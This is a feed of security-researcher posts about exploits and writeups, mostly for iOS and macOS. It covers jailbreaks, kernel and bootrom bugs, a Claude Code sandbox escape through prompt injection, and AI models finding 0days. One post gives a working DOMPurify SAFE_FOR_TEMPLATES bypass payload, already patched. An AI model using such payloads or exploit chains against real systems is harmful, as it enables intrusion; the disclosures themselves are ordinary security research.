DAGE

[Vladislav Shevchenko @destr4ctt]

Apparently, writeups are becoming a regular thing here :)

This time, added details and PoC for a regression in AppleM2ScalerCSCDriver that causes attacker supplied IOSurface KVA leak. Fixed in *OS 26.6:

https://t.co/vt8NobXpcS

[zqxwce @_zqxwce_]

vPhone Workstation is officially out! 🎉
https://t.co/1wR0dPyzEk

[Varik @D4RK7ET]

New write-up with @GenericCoding on pois0nSword, our iOS 26.1 port of DarkSword: bypassing PAC to reach arbitrary native calls from a WebKit renderer R/W, by making dyld's own loader do the write.

https://t.co/pVJm0wtowR

#WebKit #JavaScriptCore #iOS #exploitdev

[roooot @rooootdev]

seems like the link is wrong, new one here:
https://t.co/Nybaor2kXC

[roooot @rooootdev]

Update on CVE-2026-43723. Technically an arbitrary root file write primitive, however, MediaRemotes cleanup path deletes the file ca. 50ms after the write, so it effectively becomes an arbitrary root file deletion primitive.
PoC: https://t.co/M0HfBHLCoF

[Wojciech Reguła @_r3ggi]

Pre-auth macOS RCE on machines with Screen Sharing enabled 😮 https://t.co/JX8JcoAlD3

[砍砍.ᐟ @Lakr233]

Welcome to the Relaxin Public Beta! 🍾

This is a public beta, so bugs, instability, and compatibility issues are expected. If you encounter a problem, please search for relevant information and attempt to troubleshoot it yourself first.

PPL devices are not currently supported. However, experimental PPL-related code is included for testing. Experienced developers are welcome to investigate and enable it at their own risk. We strongly advise regular users not to do so.

Jailbreaking carries inherent risks, including data loss, system instability, or an unbootable device. Back up your important data and proceed only if you understand the risks. The developers and contributors accept no responsibility for any damage, data loss, or other issues resulting from the installation, use, or modification of Relaxin.

欢迎来到 Relaxin 公开测试版！🍾

由于这是公开测试版，出现 Bug、不稳定和兼容性问题是正常现象。如果遇到问题，请先自行搜索相关信息并尝试排障。

目前暂不支持 PPL 设备。不过，测试版中包含了实验性的 PPL 相关代码。欢迎有经验的开发者进行研究并自行承担风险启用，但我们强烈建议普通用户不要尝试。

越狱存在固有风险，可能导致数据丢失、系统不稳定或设备无法启动（变砖）。请务必备份您的重要数据，并在充分了解风险后再继续操作。对于因安装、使用或修改 Relaxin 所导致的任何损坏、数据丢失或其他问题，开发者及贡献者概不负责。

[Vladislav Shevchenko @destr4ctt]

While waiting for Apple’s next security release announce, I’m publishing the details and PoC for CVE-2026-39868, a kernel memory corruption issue fixed in macOS 26.5.2:

https://t.co/k0gmGryuJ8

[Huy Nguyen @Little_34306]

NOTE: DEVELOPERS ONLY!!!
IF YOU'RE AN END-USER, IT'S NOT FOR YOU!!

I already shared my iOS 27 jailbreak on iPhone 11 Pro work based on @wh1te4ever's usbliter8 work. You can test it yourself.

Full tutorial here:
https://t.co/wYJ7doxubc

[Chaofan Shou @shoucccc]

Kimi K3 exploited the latest Redis server with a 0day it discovered.

All it took was 27min with 32 agents.

https://t.co/ZOKA2wchLa

[hashkitten @hash_kitten]

Seems that wp2shell PoCs are now floating around the internet, so we've published our blog post including our research methodology for finding the bug as well as a deep dive into the chain itself - https://t.co/iuU0yiYJBT

[Sergey Toshin @_bagipro]

The largest vulnerability disclosure in the mobile history!

140 vulnerabiltiies in Samsung preinstalled apps

https://t.co/ag8i86KT44

[Blackstorm Security @blackstormsecbr]

iBoot SMMU Bypass and Kernelcache Struct Forgery on Apple Silicon:

https://t.co/16qMQCMRkL

#ios #vulnerability #exploitation #informationsecurity #infosec #cybersecurity

[Speedyfriend67 @speedyfriend433]

https://t.co/F96AFVKKZ4

[vladimir metnew @v_metnew]

Claude Code Full Sandbox Escape (CVE-2026-55607)

writeup: https://t.co/kzJ04Fqu4Y

prompt injection -> code execution on the host.
works even in read-only permissions mode + full sandbox
(it could be my Pwn2Own bug, but p2o was weird this year lol)

[Lukasz Olejnik @lukOlejnik]

Every iPhone with an A12 or A13 chip - XS/XR, 11, 2020 SE - has an unpatchable SecureROM exploit. The root bug is in Synopsys’s USB controller, and is exploitable. Requires physical access. Solution: buy a new iPhone. https://t.co/xF1JIJrEke

[Calif @calif_io]

Inspired by master @kinugawamasato, here's a DOMPurify bypass, found by Codex:

```html
<script src="https://t.co/VyVDO220KQ"></script>
<script src="https://t.co/3brNNLrbBc"></script>
<div id="app"></div>
<script>
var d = '<span>{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</span>';
document.getElementById('app').appendChild(
DOMPurify.sanitize(d, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true }));
new Vue({ el: '#app' });
</script>
```

SAFE_FOR_TEMPLATES is a DOMPurify option that strips template syntax like {{...}} so sanitized HTML can't smuggle expressions into a framework like Vue. This bypasses it.

How it works: DOMPurify's job is to delete dangerous code like {{...}} before it reaches Vue. Normally it checks twice, but the RETURN_DOM option skips the second check. So we sneak the payload past the first check by chopping {{...}} into harmless looking pieces, with junk <foo> tags between them. DOMPurify strips away the junk tags, the pieces fall back together into {{...}}, and Vue runs the code.

Fixed in 3.4.0.

Detailed breakdown: https://t.co/bzYSSy9rBX

[blackorbird @blackorbird]

Introducing usbliter8
An A12/A13 SecureROM exploit
A novel iPhone BootROM vulnerability discovered and exploited by our team. It covers the underlying bug, the associated exploitation techniques, and the post-exploitation steps required to achieve application processor's boot-chain compromise.
The exploit leverages both a hardware bug in the USB controller and a specific configuration flaw present in the device firmware.
https://t.co/pzRfe9j22y
poc:
https://t.co/a4D3H4xJvs

[Varik @D4RK7ET]

Been exploring WebKit/JSC exploitation and wrote up a step-by-step walkthrough - from a caged OOB bug to cage-free arbitrary R/W with diagrams + a lab you can build.

https://t.co/iIk1CyVBWR

#WebKit #JavaScriptCore #BrowserExploitation #exploitdev #pwn

[mikey @0xmachos]

On macOS if you want to mitigate ImageIO bugs you can enable ImageIO out-of-process parsing (ImageIOXPCService sandbox) by exporting IIOEnableOOP=1 via launchctl
https://t.co/XcP4aaK6Xx
https://t.co/fssU8QAiNG